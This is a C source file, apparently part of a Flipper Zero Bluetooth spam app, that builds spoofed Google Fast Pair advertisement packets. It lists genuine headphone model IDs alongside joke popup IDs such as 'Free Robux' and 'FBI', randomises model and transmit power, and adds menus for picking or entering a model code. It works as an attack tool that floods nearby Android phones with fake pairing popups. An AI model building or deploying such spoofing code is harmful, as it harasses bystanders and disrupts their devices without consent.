fastpair.c 7.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255
  1. #include "fastpair.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
  5. const struct {
  6. uint32_t value;
  7. const char* name;
  8. } models[] = {
  9. // Genuine actions
  10. {0x00000C, "Set Up Device"},
  11. // Genuine devices
  12. {0x00000a, "Anti-Spoofing Test (lmao)"},
  13. {0x0001F0, "Bisto CSR8670 Dev Board"},
  14. {0x000047, "Arduino 101"},
  15. {0xCD8256, "Bose NC 700"},
  16. {0xF52494, "JBL Buds Pro"},
  17. {0x718FA4, "JBL Live 300TWS"},
  18. {0x821F66, "JBL Flip 6"},
  19. {0x92BBBD, "Pixel Buds"},
  20. {0x000006, "Google Pixel buds"},
  21. {0xD446A7, "Sony XM5"},
  22. {0x2D7A23, "Sony WF-1000XM4"},
  23. {0x0E30C3, "Razer Hammerhead TWS"},
  24. {0x72EF8D, "Razer Hammerhead TWS X"},
  25. {0x72FB00, "Soundcore Spirit Pro GVA"},
  26. // Custom debug popups
  27. {0xD99CA1, "Flipper Zero"},
  28. {0x77FF67, "Free Robux"},
  29. {0xAA187F, "Free VBucks"},
  30. {0xDCE9EA, "Rickroll"},
  31. {0x87B25F, "Animated Rickroll"},
  32. {0xF38C02, "Boykisser"},
  33. {0x1448C9, "BLM"},
  34. {0xD5AB33, "Xtreme"},
  35. {0x0C0B67, "Xtreme Cta"},
  36. {0x13B39D, "Talking Sasquach"},
  37. {0xAA1FE1, "ClownMaster"},
  38. {0x7C6CDB, "Obama"},
  39. {0x005EF9, "Ryanair"},
  40. {0xE2106F, "FBI"},
  41. {0xB37A62, "Tesla"},
  42. };
  43. const uint8_t models_count = COUNT_OF(models);
  44. static const char* fastpair_get_name(const ProtocolCfg* _cfg) {
  45. UNUSED(_cfg);
  46. return "FastPair";
  47. }
  48. static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
  49. const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
  50. uint32_t model;
  51. if(cfg && cfg->model != 0x000000) {
  52. model = cfg->model;
  53. } else {
  54. model = models[rand() % models_count].value;
  55. }
  56. uint8_t size = 14;
  57. uint8_t* packet = malloc(size);
  58. uint8_t i = 0;
  59. packet[i++] = 3; // Size
  60. packet[i++] = 0x03; // AD Type (Service UUID List)
  61. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  62. packet[i++] = 0xFE; // ...
  63. packet[i++] = 6; // Size
  64. packet[i++] = 0x16; // AD Type (Service Data)
  65. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  66. packet[i++] = 0xFE; // ...
  67. packet[i++] = (model >> 0x10) & 0xFF;
  68. packet[i++] = (model >> 0x08) & 0xFF;
  69. packet[i++] = (model >> 0x00) & 0xFF;
  70. packet[i++] = 2; // Size
  71. packet[i++] = 0x0A; // AD Type (Tx Power Level)
  72. packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
  73. *_size = size;
  74. *_packet = packet;
  75. }
  76. enum {
  77. _ConfigExtraStart = ConfigExtraStart,
  78. ConfigModel,
  79. ConfigInfoRequire,
  80. ConfigCOUNT,
  81. };
  82. static void config_callback(void* _ctx, uint32_t index) {
  83. Ctx* ctx = _ctx;
  84. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  85. switch(index) {
  86. case ConfigModel:
  87. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
  88. break;
  89. case ConfigInfoRequire:
  90. break;
  91. default:
  92. ctx->fallback_config_enter(ctx, index);
  93. break;
  94. }
  95. }
  96. static void model_changed(VariableItem* item) {
  97. FastpairCfg* cfg = variable_item_get_context(item);
  98. uint8_t index = variable_item_get_current_value_index(item);
  99. if(index) {
  100. index--;
  101. cfg->model = models[index].value;
  102. variable_item_set_current_value_text(item, models[index].name);
  103. } else {
  104. cfg->model = 0x000000;
  105. variable_item_set_current_value_text(item, "Random");
  106. }
  107. }
  108. static void fastpair_extra_config(Ctx* ctx) {
  109. FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
  110. VariableItemList* list = ctx->variable_item_list;
  111. VariableItem* item;
  112. size_t value_index;
  113. item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg);
  114. const char* model_name = NULL;
  115. char model_name_buf[9];
  116. if(cfg->model == 0x000000) {
  117. model_name = "Random";
  118. value_index = 0;
  119. } else {
  120. for(uint8_t i = 0; i < models_count; i++) {
  121. if(cfg->model == models[i].value) {
  122. model_name = models[i].name;
  123. value_index = i + 1;
  124. break;
  125. }
  126. }
  127. if(!model_name) {
  128. snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
  129. model_name = model_name_buf;
  130. value_index = models_count + 1;
  131. }
  132. }
  133. variable_item_set_current_value_index(item, value_index);
  134. variable_item_set_current_value_text(item, model_name);
  135. variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
  136. variable_item_list_set_enter_callback(list, config_callback, ctx);
  137. }
  138. static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) {
  139. UNUSED(_cfg);
  140. return ConfigCOUNT - ConfigExtraStart - 1;
  141. }
  142. const Protocol protocol_fastpair = {
  143. .icon = &I_android,
  144. .get_name = fastpair_get_name,
  145. .make_packet = fastpair_make_packet,
  146. .extra_config = fastpair_extra_config,
  147. .config_count = fastpair_config_count,
  148. };
  149. static void model_callback(void* _ctx, uint32_t index) {
  150. Ctx* ctx = _ctx;
  151. FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
  152. switch(index) {
  153. case 0:
  154. cfg->model = 0x000000;
  155. scene_manager_previous_scene(ctx->scene_manager);
  156. break;
  157. case models_count + 1:
  158. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
  159. break;
  160. default:
  161. cfg->model = models[index - 1].value;
  162. scene_manager_previous_scene(ctx->scene_manager);
  163. break;
  164. }
  165. }
  166. void scene_fastpair_model_on_enter(void* _ctx) {
  167. Ctx* ctx = _ctx;
  168. FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
  169. Submenu* submenu = ctx->submenu;
  170. uint32_t selected = 0;
  171. bool found = false;
  172. submenu_reset(submenu);
  173. submenu_add_item(submenu, "Random", 0, model_callback, ctx);
  174. if(cfg->model == 0x000000) {
  175. found = true;
  176. selected = 0;
  177. }
  178. for(uint8_t i = 0; i < models_count; i++) {
  179. submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
  180. if(!found && cfg->model == models[i].value) {
  181. found = true;
  182. selected = i + 1;
  183. }
  184. }
  185. submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
  186. if(!found) {
  187. found = true;
  188. selected = models_count + 1;
  189. }
  190. submenu_set_selected_item(submenu, selected);
  191. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
  192. }
  193. bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
  194. UNUSED(_ctx);
  195. UNUSED(event);
  196. return false;
  197. }
  198. void scene_fastpair_model_on_exit(void* _ctx) {
  199. UNUSED(_ctx);
  200. }
  201. static void model_custom_callback(void* _ctx) {
  202. Ctx* ctx = _ctx;
  203. scene_manager_previous_scene(ctx->scene_manager);
  204. scene_manager_previous_scene(ctx->scene_manager);
  205. }
  206. void scene_fastpair_model_custom_on_enter(void* _ctx) {
  207. Ctx* ctx = _ctx;
  208. FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
  209. ByteInput* byte_input = ctx->byte_input;
  210. byte_input_set_header_text(byte_input, "Enter custom Model Code");
  211. ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
  212. ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
  213. ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
  214. byte_input_set_result_callback(
  215. byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
  216. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
  217. }
  218. bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
  219. UNUSED(_ctx);
  220. UNUSED(event);
  221. return false;
  222. }
  223. void scene_fastpair_model_custom_on_exit(void* _ctx) {
  224. Ctx* ctx = _ctx;
  225. FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
  226. cfg->model =
  227. (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
  228. }